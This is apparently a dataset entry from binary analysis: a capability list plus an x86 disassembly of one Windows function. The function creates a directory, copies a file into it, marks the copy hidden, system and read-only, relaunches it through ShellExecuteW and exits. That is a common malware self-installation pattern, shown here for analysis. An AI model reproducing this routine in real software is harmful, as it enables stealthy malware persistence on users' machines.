Function at 0x40c249
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
mov edi, edx
mov byte [esp + 0x17], cl
push edi
call fcn.00439f4b
mov ebp, 0x473248
pop ecx
test eax, eax
je 0x40c2b0
push 0
mov ecx, ebp
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
push ebx
push 0x4645d8
mov edx, ebp
call fcn.004087f0
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00402ff4
pop ecx
mov esi, 0x473218
push eax
mov ecx, esi
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
jmp 0x40c2d0
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
mov dl, byte [esp + 0x17]
push ebx
call fcn.0040ce7a
pop ecx
mov esi, 0x473218
push eax
mov ecx, esi
call fcn.00401ef3
lea ecx, [esp + 0x30]
call fcn.00401ee9
mov ecx, esi
call fcn.00401ee4
push eax
mov ebp, 0x470b38
push ebp
call fcn.0043ddaf
pop ecx
pop ecx
test eax, eax
jne 0x40c30f
mov ecx, 0x473200
call fcn.00401ee4
push eax
push ecx
call fcn.0040c15d
pop ecx
pop ecx
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
push 0
mov ecx, esi
call fcn.00401ee4
push eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CopyFileW]
call ebp
test eax, eax
jne 0x40c3e9
cmp byte [esp + 0x17], 0x36
je 0x40c3e9
push edi
call fcn.00439f4b
mov dl, 0x36
pop ecx
lea ecx, [esp + 0x30]
test eax, eax
je 0x40c399
push edi
call fcn.0040ce7a
pop ecx
push eax
mov ecx, 0x473248
call fcn.00401ef3
lea ecx, [esp + 0x30]
call fcn.00401ee9
push ebx
push 0x4645d8
mov edx, 0x473248
lea ecx, [esp + 0x20]
call fcn.004087f0
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00402ff4
pop ecx
push eax
mov ecx, esi
call fcn.00401ef3
lea ecx, [esp + 0x30]
call fcn.00401ee9
lea ecx, [esp + 0x18]
jmp 0x40c3ac
push ebx
call fcn.0040ce7a
pop ecx
push eax
mov ecx, esi
call fcn.00401ef3
lea ecx, [esp + 0x30]
call fcn.00401ee9
push 0
mov ecx, 0x473248
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
mov ecx, esi
call fcn.00401ee4
push eax
mov ebx, 0x470b38
push ebx
call ebp
test eax, eax
jne 0x40c3e9
push ebx
mov ecx, esi
call fcn.004086cb
xor al, al
jmp 0x40c307
mov ecx, 0x473200
call fcn.00401ee4
push eax
push ecx
call fcn.0040c15d
cmp byte [esp + 0x58], 1
pop ecx
pop ecx
jne 0x40c42f
push 7
mov ecx, esi
call fcn.00401ee4
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
call ebx
push edi
call fcn.00439f4b
pop ecx
test eax, eax
je 0x40c42f
push 7
mov ecx, 0x473248
call fcn.00401ee4
push eax
call ebx
cmp byte [esp + 0x54], 0
je 0x40c477
sub esp, 0x1c
mov ecx, esp
push 0x470b38
call fcn.0040415e
push 0x464f34
mov edx, 0x473230
lea ecx, [esp + 0x50]
call fcn.0041a32c
mov ecx, eax
call fcn.00401ee4
mov edx, eax
mov ecx, closesocket
call fcn.004129ae
add esp, 0x20
lea ecx, [esp + 0x30]
call fcn.00401ee9
push dword [0x470d44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
mov eax, 0x464438
mov ecx, esi
push eax
push eax
call fcn.00401ee4
push eax
push 0x4640d8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x40c4b0
call fcn.0040c4b9
jmp 0x40c3e2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]